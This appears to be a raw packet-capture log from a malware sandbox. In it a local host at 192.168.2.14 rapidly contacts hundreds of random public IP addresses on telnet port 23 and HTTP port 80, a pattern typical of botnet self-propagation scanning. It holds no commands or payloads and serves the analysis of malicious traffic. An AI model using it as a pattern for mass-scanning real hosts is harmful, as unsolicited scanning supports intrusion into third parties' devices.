Jan 30, 2025 10:43:00.069870949 CET	62855	80	192.168.2.14	112.191.120.190
Jan 30, 2025 10:43:00.069874048 CET	62855	80	192.168.2.14	211.121.19.98
Jan 30, 2025 10:43:00.069880962 CET	62855	80	192.168.2.14	145.51.188.35
Jan 30, 2025 10:43:00.069889069 CET	62855	80	192.168.2.14	146.154.20.67
Jan 30, 2025 10:43:00.069895983 CET	62855	80	192.168.2.14	81.215.13.56
Jan 30, 2025 10:43:00.069902897 CET	62855	80	192.168.2.14	114.139.188.244
Jan 30, 2025 10:43:00.069910049 CET	62855	80	192.168.2.14	192.17.120.24
Jan 30, 2025 10:43:00.069922924 CET	62855	80	192.168.2.14	146.248.193.193
Jan 30, 2025 10:43:00.069941998 CET	62855	80	192.168.2.14	117.14.119.152
Jan 30, 2025 10:43:00.069947004 CET	62855	80	192.168.2.14	144.89.29.55
Jan 30, 2025 10:43:00.069952011 CET	62855	80	192.168.2.14	142.39.226.152
Jan 30, 2025 10:43:00.069962025 CET	62855	80	192.168.2.14	36.1.42.13
Jan 30, 2025 10:43:00.069987059 CET	62855	80	192.168.2.14	153.119.165.8
Jan 30, 2025 10:43:00.069988966 CET	62855	80	192.168.2.14	64.240.244.241
Jan 30, 2025 10:43:00.069988966 CET	62855	80	192.168.2.14	117.139.155.30
Jan 30, 2025 10:43:00.069998980 CET	62855	80	192.168.2.14	110.248.0.45
Jan 30, 2025 10:43:00.070002079 CET	62855	80	192.168.2.14	53.153.45.33
Jan 30, 2025 10:43:00.070003986 CET	62855	80	192.168.2.14	217.199.94.219
Jan 30, 2025 10:43:00.070004940 CET	62855	80	192.168.2.14	165.143.134.181
Jan 30, 2025 10:43:00.070004940 CET	62855	80	192.168.2.14	72.105.89.222
Jan 30, 2025 10:43:00.070007086 CET	62855	80	192.168.2.14	131.251.91.77
Jan 30, 2025 10:43:00.070004940 CET	62855	80	192.168.2.14	49.180.43.128
Jan 30, 2025 10:43:00.070008993 CET	23	63367	96.38.135.20	192.168.2.14
Jan 30, 2025 10:43:00.070004940 CET	62855	80	192.168.2.14	68.223.59.136
Jan 30, 2025 10:43:00.070007086 CET	62855	80	192.168.2.14	87.39.65.147
Jan 30, 2025 10:43:00.070023060 CET	23	63367	59.240.157.230	192.168.2.14
Jan 30, 2025 10:43:00.070023060 CET	62855	80	192.168.2.14	208.162.16.144
Jan 30, 2025 10:43:00.070029974 CET	62855	80	192.168.2.14	211.181.30.169
Jan 30, 2025 10:43:00.070043087 CET	23	63367	103.216.29.81	192.168.2.14
Jan 30, 2025 10:43:00.070054054 CET	23	63367	32.73.201.96	192.168.2.14
Jan 30, 2025 10:43:00.070055008 CET	63367	23	192.168.2.14	96.38.135.20
Jan 30, 2025 10:43:00.070055008 CET	63367	23	192.168.2.14	59.240.157.230
Jan 30, 2025 10:43:00.070055008 CET	62855	80	192.168.2.14	159.174.129.124
Jan 30, 2025 10:43:00.070064068 CET	23	63367	143.194.252.122	192.168.2.14
Jan 30, 2025 10:43:00.070070028 CET	62855	80	192.168.2.14	67.25.224.233
Jan 30, 2025 10:43:00.070075035 CET	23	63367	87.69.195.69	192.168.2.14
Jan 30, 2025 10:43:00.070075035 CET	62855	80	192.168.2.14	200.144.124.180
Jan 30, 2025 10:43:00.070075035 CET	63367	23	192.168.2.14	103.216.29.81
Jan 30, 2025 10:43:00.070081949 CET	63367	23	192.168.2.14	32.73.201.96
Jan 30, 2025 10:43:00.070094109 CET	23	63367	75.161.7.98	192.168.2.14
Jan 30, 2025 10:43:00.070103884 CET	63367	23	192.168.2.14	143.194.252.122
Jan 30, 2025 10:43:00.070105076 CET	23	63367	100.133.73.129	192.168.2.14
Jan 30, 2025 10:43:00.070111990 CET	62855	80	192.168.2.14	101.70.207.89
Jan 30, 2025 10:43:00.070112944 CET	62855	80	192.168.2.14	198.162.42.231
Jan 30, 2025 10:43:00.070117950 CET	63367	23	192.168.2.14	87.69.195.69
Jan 30, 2025 10:43:00.070122957 CET	62855	80	192.168.2.14	191.174.54.75
Jan 30, 2025 10:43:00.070123911 CET	63367	23	192.168.2.14	75.161.7.98
Jan 30, 2025 10:43:00.070133924 CET	62855	80	192.168.2.14	69.210.196.74
Jan 30, 2025 10:43:00.070139885 CET	63367	23	192.168.2.14	100.133.73.129
Jan 30, 2025 10:43:00.070148945 CET	62855	80	192.168.2.14	160.121.6.141
Jan 30, 2025 10:43:00.070173025 CET	62855	80	192.168.2.14	47.150.255.82
Jan 30, 2025 10:43:00.070173979 CET	23	63367	110.221.34.30	192.168.2.14
Jan 30, 2025 10:43:00.070185900 CET	23	63367	166.193.65.99	192.168.2.14
Jan 30, 2025 10:43:00.070189953 CET	62855	80	192.168.2.14	90.9.136.68
Jan 30, 2025 10:43:00.070193052 CET	62855	80	192.168.2.14	73.249.80.253
Jan 30, 2025 10:43:00.070195913 CET	23	63367	49.115.63.171	192.168.2.14
Jan 30, 2025 10:43:00.070203066 CET	62855	80	192.168.2.14	171.127.90.238
Jan 30, 2025 10:43:00.070209026 CET	23	63367	202.101.179.24	192.168.2.14
Jan 30, 2025 10:43:00.070210934 CET	63367	23	192.168.2.14	110.221.34.30
Jan 30, 2025 10:43:00.070216894 CET	63367	23	192.168.2.14	166.193.65.99
Jan 30, 2025 10:43:00.070219040 CET	23	63367	144.187.244.27	192.168.2.14
Jan 30, 2025 10:43:00.070230007 CET	23	63367	150.130.42.123	192.168.2.14
Jan 30, 2025 10:43:00.070235014 CET	63367	23	192.168.2.14	49.115.63.171
Jan 30, 2025 10:43:00.070239067 CET	62855	80	192.168.2.14	76.181.128.113
Jan 30, 2025 10:43:00.070240021 CET	23	63367	188.222.155.153	192.168.2.14
Jan 30, 2025 10:43:00.070241928 CET	63367	23	192.168.2.14	202.101.179.24
Jan 30, 2025 10:43:00.070244074 CET	62855	80	192.168.2.14	49.194.68.69
Jan 30, 2025 10:43:00.070244074 CET	62855	80	192.168.2.14	61.167.30.151
Jan 30, 2025 10:43:00.070244074 CET	62855	80	192.168.2.14	162.2.114.82
Jan 30, 2025 10:43:00.070249081 CET	63367	23	192.168.2.14	144.187.244.27
Jan 30, 2025 10:43:00.070250988 CET	23	63367	2.11.76.239	192.168.2.14
Jan 30, 2025 10:43:00.070251942 CET	62855	80	192.168.2.14	88.179.12.58
Jan 30, 2025 10:43:00.070259094 CET	63367	23	192.168.2.14	150.130.42.123
Jan 30, 2025 10:43:00.070261002 CET	62855	80	192.168.2.14	153.90.115.115
Jan 30, 2025 10:43:00.070271015 CET	23	63367	46.105.110.225	192.168.2.14
Jan 30, 2025 10:43:00.070276976 CET	63367	23	192.168.2.14	188.222.155.153
Jan 30, 2025 10:43:00.070281982 CET	63367	23	192.168.2.14	2.11.76.239
Jan 30, 2025 10:43:00.070281982 CET	23	63367	90.157.206.217	192.168.2.14
Jan 30, 2025 10:43:00.070295095 CET	23	63367	136.43.119.183	192.168.2.14
Jan 30, 2025 10:43:00.070303917 CET	63367	23	192.168.2.14	90.157.206.217
Jan 30, 2025 10:43:00.070305109 CET	63367	23	192.168.2.14	46.105.110.225
Jan 30, 2025 10:43:00.070306063 CET	23	63367	64.32.190.207	192.168.2.14
Jan 30, 2025 10:43:00.070316076 CET	23	63367	51.42.133.41	192.168.2.14
Jan 30, 2025 10:43:00.070326090 CET	23	63367	89.217.143.177	192.168.2.14
Jan 30, 2025 10:43:00.070333958 CET	63367	23	192.168.2.14	136.43.119.183
Jan 30, 2025 10:43:00.070336103 CET	23	63367	53.221.159.235	192.168.2.14
Jan 30, 2025 10:43:00.070341110 CET	63367	23	192.168.2.14	64.32.190.207
Jan 30, 2025 10:43:00.070347071 CET	23	63367	57.197.42.118	192.168.2.14
Jan 30, 2025 10:43:00.070349932 CET	63367	23	192.168.2.14	51.42.133.41
Jan 30, 2025 10:43:00.070352077 CET	63367	23	192.168.2.14	89.217.143.177
Jan 30, 2025 10:43:00.070359945 CET	23	63367	51.227.130.213	192.168.2.14
Jan 30, 2025 10:43:00.070372105 CET	23	63367	63.246.129.255	192.168.2.14
Jan 30, 2025 10:43:00.070377111 CET	23	63367	101.173.53.242	192.168.2.14
Jan 30, 2025 10:43:00.070377111 CET	62855	80	192.168.2.14	126.69.149.125
Jan 30, 2025 10:43:00.070379019 CET	63367	23	192.168.2.14	53.221.159.235
Jan 30, 2025 10:43:00.070379019 CET	63367	23	192.168.2.14	57.197.42.118
Jan 30, 2025 10:43:00.070380926 CET	23	63367	190.44.128.202	192.168.2.14
Jan 30, 2025 10:43:00.070384026 CET	62855	80	192.168.2.14	196.207.197.148
Jan 30, 2025 10:43:00.070384979 CET	62855	80	192.168.2.14	223.215.174.109
Jan 30, 2025 10:43:00.070390940 CET	62855	80	192.168.2.14	24.11.68.245
Jan 30, 2025 10:43:00.070403099 CET	62855	80	192.168.2.14	1.215.131.69
Jan 30, 2025 10:43:00.070405006 CET	62855	80	192.168.2.14	184.180.9.218
Jan 30, 2025 10:43:00.070413113 CET	63367	23	192.168.2.14	51.227.130.213
Jan 30, 2025 10:43:00.070413113 CET	63367	23	192.168.2.14	101.173.53.242
Jan 30, 2025 10:43:00.070415974 CET	63367	23	192.168.2.14	190.44.128.202
Jan 30, 2025 10:43:00.070416927 CET	63367	23	192.168.2.14	63.246.129.255
Jan 30, 2025 10:43:00.070446968 CET	62855	80	192.168.2.14	170.214.2.3
Jan 30, 2025 10:43:00.070452929 CET	62855	80	192.168.2.14	60.198.219.95
Jan 30, 2025 10:43:00.070456028 CET	62855	80	192.168.2.14	117.54.251.22
Jan 30, 2025 10:43:00.070456982 CET	62855	80	192.168.2.14	148.33.225.152
Jan 30, 2025 10:43:00.070470095 CET	62855	80	192.168.2.14	176.135.91.100
Jan 30, 2025 10:43:00.070470095 CET	62855	80	192.168.2.14	139.191.119.96
Jan 30, 2025 10:43:00.070483923 CET	62855	80	192.168.2.14	181.157.189.97
Jan 30, 2025 10:43:00.070485115 CET	62855	80	192.168.2.14	132.148.18.137
Jan 30, 2025 10:43:00.070487022 CET	62855	80	192.168.2.14	90.210.212.118
Jan 30, 2025 10:43:00.070518017 CET	62855	80	192.168.2.14	146.129.140.70
Jan 30, 2025 10:43:00.070518017 CET	62855	80	192.168.2.14	154.181.24.3
Jan 30, 2025 10:43:00.070529938 CET	62855	80	192.168.2.14	195.171.68.101
Jan 30, 2025 10:43:00.070544958 CET	62855	80	192.168.2.14	114.206.65.7
Jan 30, 2025 10:43:00.070545912 CET	62855	80	192.168.2.14	172.200.30.49
Jan 30, 2025 10:43:00.070547104 CET	62855	80	192.168.2.14	94.254.114.97
Jan 30, 2025 10:43:00.070568085 CET	62855	80	192.168.2.14	210.140.103.38
Jan 30, 2025 10:43:00.070569038 CET	62855	80	192.168.2.14	44.243.135.244
Jan 30, 2025 10:43:00.070573092 CET	62855	80	192.168.2.14	86.166.253.94
Jan 30, 2025 10:43:00.070580006 CET	62855	80	192.168.2.14	119.66.89.166
Jan 30, 2025 10:43:00.070596933 CET	62855	80	192.168.2.14	137.154.187.141
Jan 30, 2025 10:43:00.070596933 CET	23	63367	121.131.230.199	192.168.2.14
Jan 30, 2025 10:43:00.070600033 CET	62855	80	192.168.2.14	87.139.95.208
Jan 30, 2025 10:43:00.070600033 CET	62855	80	192.168.2.14	51.224.252.156
Jan 30, 2025 10:43:00.070609093 CET	23	63367	60.4.11.103	192.168.2.14
Jan 30, 2025 10:43:00.070611954 CET	62855	80	192.168.2.14	177.0.56.177
Jan 30, 2025 10:43:00.070621014 CET	62855	80	192.168.2.14	84.46.25.86
Jan 30, 2025 10:43:00.070630074 CET	62855	80	192.168.2.14	154.120.143.104
Jan 30, 2025 10:43:00.070631027 CET	23	63367	171.126.28.54	192.168.2.14
Jan 30, 2025 10:43:00.070632935 CET	63367	23	192.168.2.14	121.131.230.199
Jan 30, 2025 10:43:00.070632935 CET	62855	80	192.168.2.14	221.45.32.162
Jan 30, 2025 10:43:00.070642948 CET	23	63367	13.23.169.221	192.168.2.14
Jan 30, 2025 10:43:00.070642948 CET	63367	23	192.168.2.14	60.4.11.103
Jan 30, 2025 10:43:00.070653915 CET	63367	23	192.168.2.14	171.126.28.54
Jan 30, 2025 10:43:00.070655107 CET	23	63367	188.31.4.91	192.168.2.14
Jan 30, 2025 10:43:00.070666075 CET	23	63367	202.117.127.104	192.168.2.14
Jan 30, 2025 10:43:00.070677042 CET	23	63367	171.106.85.79	192.168.2.14
Jan 30, 2025 10:43:00.070678949 CET	63367	23	192.168.2.14	13.23.169.221
Jan 30, 2025 10:43:00.070688963 CET	23	63367	192.125.233.249	192.168.2.14
Jan 30, 2025 10:43:00.070693016 CET	63367	23	192.168.2.14	188.31.4.91
Jan 30, 2025 10:43:00.070693016 CET	63367	23	192.168.2.14	202.117.127.104
Jan 30, 2025 10:43:00.070698977 CET	23	63367	12.173.85.68	192.168.2.14
Jan 30, 2025 10:43:00.070713997 CET	62855	80	192.168.2.14	205.45.170.154
Jan 30, 2025 10:43:00.070719004 CET	63367	23	192.168.2.14	171.106.85.79
Jan 30, 2025 10:43:00.070722103 CET	63367	23	192.168.2.14	192.125.233.249
Jan 30, 2025 10:43:00.070723057 CET	23	63367	112.187.56.252	192.168.2.14
Jan 30, 2025 10:43:00.070724964 CET	63367	23	192.168.2.14	12.173.85.68
Jan 30, 2025 10:43:00.070734978 CET	23	63367	54.181.138.80	192.168.2.14
Jan 30, 2025 10:43:00.070745945 CET	23	63367	137.14.117.69	192.168.2.14
Jan 30, 2025 10:43:00.070754051 CET	62855	80	192.168.2.14	116.169.60.188
Jan 30, 2025 10:43:00.070754051 CET	62855	80	192.168.2.14	46.9.233.0
Jan 30, 2025 10:43:00.070756912 CET	23	63367	17.24.91.228	192.168.2.14
Jan 30, 2025 10:43:00.070756912 CET	62855	80	192.168.2.14	181.240.229.115
Jan 30, 2025 10:43:00.070759058 CET	63367	23	192.168.2.14	54.181.138.80
Jan 30, 2025 10:43:00.070765972 CET	63367	23	192.168.2.14	112.187.56.252
Jan 30, 2025 10:43:00.070768118 CET	23	63367	164.91.208.11	192.168.2.14
Jan 30, 2025 10:43:00.070774078 CET	62855	80	192.168.2.14	200.49.13.150
Jan 30, 2025 10:43:00.070780039 CET	62855	80	192.168.2.14	164.112.189.23
Jan 30, 2025 10:43:00.070780039 CET	63367	23	192.168.2.14	137.14.117.69
Jan 30, 2025 10:43:00.070780039 CET	23	63367	152.29.227.245	192.168.2.14
Jan 30, 2025 10:43:00.070781946 CET	62855	80	192.168.2.14	182.35.39.31
Jan 30, 2025 10:43:00.070791006 CET	23	63367	130.3.127.241	192.168.2.14
Jan 30, 2025 10:43:00.070794106 CET	63367	23	192.168.2.14	17.24.91.228
Jan 30, 2025 10:43:00.070796967 CET	62855	80	192.168.2.14	200.150.79.161
Jan 30, 2025 10:43:00.070808887 CET	63367	23	192.168.2.14	164.91.208.11
Jan 30, 2025 10:43:00.070812941 CET	23	63367	110.193.40.214	192.168.2.14
Jan 30, 2025 10:43:00.070816994 CET	63367	23	192.168.2.14	152.29.227.245
Jan 30, 2025 10:43:00.070817947 CET	62855	80	192.168.2.14	197.230.94.185
Jan 30, 2025 10:43:00.070816994 CET	62855	80	192.168.2.14	143.115.95.102
Jan 30, 2025 10:43:00.070816994 CET	63367	23	192.168.2.14	130.3.127.241
Jan 30, 2025 10:43:00.070823908 CET	23	63367	138.50.59.45	192.168.2.14
Jan 30, 2025 10:43:00.070832968 CET	62855	80	192.168.2.14	53.122.86.165
Jan 30, 2025 10:43:00.070835114 CET	23	63367	189.123.11.117	192.168.2.14
Jan 30, 2025 10:43:00.070846081 CET	23	63367	170.93.53.111	192.168.2.14
Jan 30, 2025 10:43:00.070851088 CET	63367	23	192.168.2.14	110.193.40.214
Jan 30, 2025 10:43:00.070856094 CET	63367	23	192.168.2.14	138.50.59.45
Jan 30, 2025 10:43:00.070857048 CET	23	63367	150.163.202.101	192.168.2.14
Jan 30, 2025 10:43:00.070858955 CET	62855	80	192.168.2.14	136.66.203.34
Jan 30, 2025 10:43:00.070859909 CET	62855	80	192.168.2.14	220.33.77.89
Jan 30, 2025 10:43:00.070868015 CET	23	63367	150.17.189.82	192.168.2.14
Jan 30, 2025 10:43:00.070869923 CET	63367	23	192.168.2.14	189.123.11.117
Jan 30, 2025 10:43:00.070873976 CET	62855	80	192.168.2.14	207.82.232.213
Jan 30, 2025 10:43:00.070878983 CET	23	63367	122.14.176.28	192.168.2.14
Jan 30, 2025 10:43:00.070883036 CET	63367	23	192.168.2.14	170.93.53.111
Jan 30, 2025 10:43:00.070890903 CET	23	63367	87.198.74.160	192.168.2.14
Jan 30, 2025 10:43:00.070902109 CET	23	63367	139.162.197.80	192.168.2.14
Jan 30, 2025 10:43:00.070904970 CET	62855	80	192.168.2.14	120.13.30.83
Jan 30, 2025 10:43:00.070904970 CET	62855	80	192.168.2.14	71.39.94.121
Jan 30, 2025 10:43:00.070905924 CET	63367	23	192.168.2.14	150.163.202.101
Jan 30, 2025 10:43:00.070904970 CET	62855	80	192.168.2.14	135.137.219.42
Jan 30, 2025 10:43:00.070910931 CET	23	63367	142.184.51.38	192.168.2.14
Jan 30, 2025 10:43:00.070923090 CET	62855	80	192.168.2.14	13.140.46.184
Jan 30, 2025 10:43:00.070924044 CET	23	63367	150.207.179.52	192.168.2.14
Jan 30, 2025 10:43:00.070924044 CET	62855	80	192.168.2.14	157.11.254.63
Jan 30, 2025 10:43:00.070926905 CET	63367	23	192.168.2.14	87.198.74.160
Jan 30, 2025 10:43:00.070926905 CET	62855	80	192.168.2.14	217.17.21.101
Jan 30, 2025 10:43:00.070935965 CET	23	63367	9.15.158.250	192.168.2.14
Jan 30, 2025 10:43:00.071002007 CET	63367	23	192.168.2.14	139.162.197.80
Jan 30, 2025 10:43:00.071022987 CET	63367	23	192.168.2.14	150.17.189.82
Jan 30, 2025 10:43:00.071029902 CET	63367	23	192.168.2.14	122.14.176.28
Jan 30, 2025 10:43:00.071033001 CET	63367	23	192.168.2.14	9.15.158.250
Jan 30, 2025 10:43:00.071034908 CET	63367	23	192.168.2.14	142.184.51.38
Jan 30, 2025 10:43:00.071052074 CET	63367	23	192.168.2.14	150.207.179.52
Jan 30, 2025 10:43:00.071067095 CET	62855	80	192.168.2.14	72.138.65.241
Jan 30, 2025 10:43:00.071069002 CET	62855	80	192.168.2.14	174.34.250.187
Jan 30, 2025 10:43:00.071069002 CET	62855	80	192.168.2.14	48.53.90.166
Jan 30, 2025 10:43:00.071083069 CET	62855	80	192.168.2.14	52.151.5.68
Jan 30, 2025 10:43:00.071083069 CET	62855	80	192.168.2.14	53.82.60.154
Jan 30, 2025 10:43:00.071089983 CET	62855	80	192.168.2.14	136.62.234.207
Jan 30, 2025 10:43:00.071126938 CET	62855	80	192.168.2.14	211.170.6.17
Jan 30, 2025 10:43:00.071130037 CET	62855	80	192.168.2.14	100.167.180.221
Jan 30, 2025 10:43:00.071156025 CET	23	63367	168.151.81.43	192.168.2.14
Jan 30, 2025 10:43:00.071161985 CET	62855	80	192.168.2.14	115.25.251.122
Jan 30, 2025 10:43:00.071166992 CET	23	63367	194.6.178.29	192.168.2.14
Jan 30, 2025 10:43:00.071167946 CET	62855	80	192.168.2.14	184.120.244.238
Jan 30, 2025 10:43:00.071176052 CET	62855	80	192.168.2.14	99.16.149.25
Jan 30, 2025 10:43:00.071178913 CET	23	63367	52.42.78.199	192.168.2.14
Jan 30, 2025 10:43:00.071187019 CET	62855	80	192.168.2.14	206.139.32.150
Jan 30, 2025 10:43:00.071187019 CET	63367	23	192.168.2.14	168.151.81.43
Jan 30, 2025 10:43:00.071191072 CET	23	63367	17.51.165.151	192.168.2.14
Jan 30, 2025 10:43:00.071199894 CET	63367	23	192.168.2.14	194.6.178.29
Jan 30, 2025 10:43:00.071202993 CET	23	63367	72.76.208.168	192.168.2.14
Jan 30, 2025 10:43:00.071208954 CET	63367	23	192.168.2.14	52.42.78.199
Jan 30, 2025 10:43:00.071221113 CET	23	63367	94.213.187.109	192.168.2.14
Jan 30, 2025 10:43:00.071222067 CET	63367	23	192.168.2.14	17.51.165.151
Jan 30, 2025 10:43:00.071232080 CET	23	63367	59.185.131.130	192.168.2.14
Jan 30, 2025 10:43:00.071238041 CET	63367	23	192.168.2.14	72.76.208.168
Jan 30, 2025 10:43:00.071240902 CET	23	63367	182.230.189.71	192.168.2.14
Jan 30, 2025 10:43:00.071244001 CET	62855	80	192.168.2.14	1.41.250.210
Jan 30, 2025 10:43:00.071244955 CET	62855	80	192.168.2.14	115.134.53.88
Jan 30, 2025 10:43:00.071253061 CET	62855	80	192.168.2.14	32.178.139.209
Jan 30, 2025 10:43:00.071254015 CET	23	63367	178.103.226.239	192.168.2.14
Jan 30, 2025 10:43:00.071264029 CET	63367	23	192.168.2.14	94.213.187.109
Jan 30, 2025 10:43:00.071268082 CET	63367	23	192.168.2.14	59.185.131.130
Jan 30, 2025 10:43:00.071273088 CET	63367	23	192.168.2.14	182.230.189.71
Jan 30, 2025 10:43:00.071278095 CET	62855	80	192.168.2.14	73.182.145.36
Jan 30, 2025 10:43:00.071285963 CET	23	63367	40.133.11.57	192.168.2.14
Jan 30, 2025 10:43:00.071286917 CET	62855	80	192.168.2.14	20.179.201.121
Jan 30, 2025 10:43:00.071290970 CET	63367	23	192.168.2.14	178.103.226.239
Jan 30, 2025 10:43:00.071297884 CET	23	63367	180.204.34.141	192.168.2.14
Jan 30, 2025 10:43:00.071310997 CET	23	63367	117.18.208.186	192.168.2.14
Jan 30, 2025 10:43:00.071310997 CET	62855	80	192.168.2.14	160.204.11.101
Jan 30, 2025 10:43:00.071330070 CET	63367	23	192.168.2.14	180.204.34.141
Jan 30, 2025 10:43:00.071330070 CET	23	63367	219.3.37.95	192.168.2.14
Jan 30, 2025 10:43:00.071342945 CET	23	63367	208.172.216.5	192.168.2.14
Jan 30, 2025 10:43:00.071346045 CET	63367	23	192.168.2.14	40.133.11.57
Jan 30, 2025 10:43:00.071356058 CET	23	63367	143.72.153.138	192.168.2.14
Jan 30, 2025 10:43:00.071358919 CET	62855	80	192.168.2.14	180.27.43.193
Jan 30, 2025 10:43:00.071358919 CET	62855	80	192.168.2.14	173.178.142.185
Jan 30, 2025 10:43:00.071363926 CET	63367	23	192.168.2.14	117.18.208.186
Jan 30, 2025 10:43:00.071365118 CET	62855	80	192.168.2.14	111.177.40.114
Jan 30, 2025 10:43:00.071367979 CET	23	63367	50.224.228.127	192.168.2.14
Jan 30, 2025 10:43:00.071371078 CET	63367	23	192.168.2.14	219.3.37.95
Jan 30, 2025 10:43:00.071376085 CET	63367	23	192.168.2.14	208.172.216.5
Jan 30, 2025 10:43:00.071379900 CET	23	63367	206.76.205.154	192.168.2.14
Jan 30, 2025 10:43:00.071393967 CET	63367	23	192.168.2.14	143.72.153.138
Jan 30, 2025 10:43:00.071393967 CET	62855	80	192.168.2.14	88.156.227.122
Jan 30, 2025 10:43:00.071396112 CET	63367	23	192.168.2.14	50.224.228.127
Jan 30, 2025 10:43:00.071403027 CET	23	63367	116.122.90.174	192.168.2.14
Jan 30, 2025 10:43:00.071407080 CET	62855	80	192.168.2.14	89.66.130.118
Jan 30, 2025 10:43:00.071413994 CET	62855	80	192.168.2.14	8.51.164.15
Jan 30, 2025 10:43:00.071413994 CET	23	63367	18.74.59.26	192.168.2.14
Jan 30, 2025 10:43:00.071418047 CET	63367	23	192.168.2.14	206.76.205.154
Jan 30, 2025 10:43:00.071418047 CET	62855	80	192.168.2.14	156.236.82.246
Jan 30, 2025 10:43:00.071419001 CET	62855	80	192.168.2.14	25.180.17.224
Jan 30, 2025 10:43:00.071425915 CET	23	63367	72.85.3.89	192.168.2.14
Jan 30, 2025 10:43:00.071429014 CET	62855	80	192.168.2.14	150.45.48.50
Jan 30, 2025 10:43:00.071432114 CET	23	63367	173.140.138.167	192.168.2.14
Jan 30, 2025 10:43:00.071434021 CET	62855	80	192.168.2.14	130.75.61.142
Jan 30, 2025 10:43:00.071439981 CET	63367	23	192.168.2.14	116.122.90.174
Jan 30, 2025 10:43:00.071443081 CET	23	63367	199.149.43.40	192.168.2.14
Jan 30, 2025 10:43:00.071448088 CET	62855	80	192.168.2.14	13.162.94.5
Jan 30, 2025 10:43:00.071455956 CET	23	63367	73.78.183.211	192.168.2.14
Jan 30, 2025 10:43:00.071456909 CET	63367	23	192.168.2.14	173.140.138.167
Jan 30, 2025 10:43:00.071458101 CET	63367	23	192.168.2.14	72.85.3.89
Jan 30, 2025 10:43:00.071460009 CET	63367	23	192.168.2.14	18.74.59.26
Jan 30, 2025 10:43:00.071466923 CET	23	63367	171.176.253.45	192.168.2.14
Jan 30, 2025 10:43:00.071470976 CET	63367	23	192.168.2.14	199.149.43.40
Jan 30, 2025 10:43:00.071479082 CET	23	63367	14.47.117.104	192.168.2.14
Jan 30, 2025 10:43:00.071484089 CET	63367	23	192.168.2.14	73.78.183.211
Jan 30, 2025 10:43:00.071491957 CET	23	63367	183.245.123.37	192.168.2.14
Jan 30, 2025 10:43:00.071502924 CET	23	63367	101.176.47.124	192.168.2.14
Jan 30, 2025 10:43:00.071507931 CET	63367	23	192.168.2.14	171.176.253.45
Jan 30, 2025 10:43:00.071512938 CET	23	63367	99.61.108.25	192.168.2.14
Jan 30, 2025 10:43:00.071520090 CET	63367	23	192.168.2.14	14.47.117.104
Jan 30, 2025 10:43:00.071531057 CET	63367	23	192.168.2.14	183.245.123.37
Jan 30, 2025 10:43:00.071533918 CET	63367	23	192.168.2.14	101.176.47.124
Jan 30, 2025 10:43:00.071543932 CET	63367	23	192.168.2.14	99.61.108.25
Jan 30, 2025 10:43:00.071831942 CET	23	63367	1.250.27.36	192.168.2.14
Jan 30, 2025 10:43:00.071851015 CET	23	63367	73.170.204.46	192.168.2.14
Jan 30, 2025 10:43:00.071861982 CET	23	63367	19.201.31.171	192.168.2.14
Jan 30, 2025 10:43:00.071867943 CET	63367	23	192.168.2.14	1.250.27.36
Jan 30, 2025 10:43:00.071872950 CET	23	63367	94.156.88.195	192.168.2.14
Jan 30, 2025 10:43:00.071882963 CET	23	63367	198.131.25.84	192.168.2.14
Jan 30, 2025 10:43:00.071885109 CET	63367	23	192.168.2.14	73.170.204.46
Jan 30, 2025 10:43:00.071892977 CET	63367	23	192.168.2.14	19.201.31.171
Jan 30, 2025 10:43:00.071893930 CET	23	63367	120.165.161.248	192.168.2.14
Jan 30, 2025 10:43:00.071907043 CET	23	63367	170.129.213.189	192.168.2.14
Jan 30, 2025 10:43:00.071907043 CET	63367	23	192.168.2.14	94.156.88.195
Jan 30, 2025 10:43:00.071918011 CET	63367	23	192.168.2.14	198.131.25.84
Jan 30, 2025 10:43:00.071919918 CET	23	63367	20.71.135.24	192.168.2.14
Jan 30, 2025 10:43:00.071922064 CET	63367	23	192.168.2.14	120.165.161.248
Jan 30, 2025 10:43:00.071930885 CET	23	63367	70.33.190.125	192.168.2.14
Jan 30, 2025 10:43:00.071958065 CET	63367	23	192.168.2.14	170.129.213.189
Jan 30, 2025 10:43:00.071964979 CET	63367	23	192.168.2.14	20.71.135.24
Jan 30, 2025 10:43:00.071974993 CET	63367	23	192.168.2.14	70.33.190.125
Jan 30, 2025 10:43:00.072021961 CET	23	63367	209.139.187.163	192.168.2.14
Jan 30, 2025 10:43:00.072033882 CET	23	63367	208.78.175.202	192.168.2.14
Jan 30, 2025 10:43:00.072045088 CET	23	63367	58.150.30.208	192.168.2.14
Jan 30, 2025 10:43:00.072048903 CET	63367	23	192.168.2.14	209.139.187.163
Jan 30, 2025 10:43:00.072057009 CET	23	63367	12.14.78.110	192.168.2.14
Jan 30, 2025 10:43:00.072067022 CET	23	63367	73.255.229.198	192.168.2.14
Jan 30, 2025 10:43:00.072071075 CET	63367	23	192.168.2.14	208.78.175.202
Jan 30, 2025 10:43:00.072078943 CET	63367	23	192.168.2.14	58.150.30.208
Jan 30, 2025 10:43:00.072081089 CET	23	63367	149.48.18.62	192.168.2.14
Jan 30, 2025 10:43:00.072092056 CET	23	63367	140.125.75.69	192.168.2.14
Jan 30, 2025 10:43:00.072097063 CET	63367	23	192.168.2.14	12.14.78.110
Jan 30, 2025 10:43:00.072098017 CET	23	63367	223.197.44.27	192.168.2.14
Jan 30, 2025 10:43:00.072099924 CET	63367	23	192.168.2.14	73.255.229.198
Jan 30, 2025 10:43:00.072108984 CET	23	63367	41.64.77.98	192.168.2.14
Jan 30, 2025 10:43:00.072118998 CET	23	63367	107.32.232.177	192.168.2.14
Jan 30, 2025 10:43:00.072120905 CET	63367	23	192.168.2.14	149.48.18.62
Jan 30, 2025 10:43:00.072120905 CET	63367	23	192.168.2.14	140.125.75.69
Jan 30, 2025 10:43:00.072130919 CET	23	63367	47.196.74.59	192.168.2.14
Jan 30, 2025 10:43:00.072139978 CET	63367	23	192.168.2.14	223.197.44.27
Jan 30, 2025 10:43:00.072139978 CET	63367	23	192.168.2.14	41.64.77.98
Jan 30, 2025 10:43:00.072141886 CET	23	63367	180.151.15.109	192.168.2.14
Jan 30, 2025 10:43:00.072151899 CET	63367	23	192.168.2.14	107.32.232.177
Jan 30, 2025 10:43:00.072161913 CET	23	63367	194.200.23.65	192.168.2.14
Jan 30, 2025 10:43:00.072164059 CET	63367	23	192.168.2.14	47.196.74.59
Jan 30, 2025 10:43:00.072174072 CET	23	63367	89.139.115.71	192.168.2.14
Jan 30, 2025 10:43:00.072176933 CET	63367	23	192.168.2.14	180.151.15.109
Jan 30, 2025 10:43:00.072185993 CET	23	63367	95.60.246.26	192.168.2.14
Jan 30, 2025 10:43:00.072191954 CET	63367	23	192.168.2.14	194.200.23.65
Jan 30, 2025 10:43:00.072196960 CET	23	63367	171.91.134.82	192.168.2.14
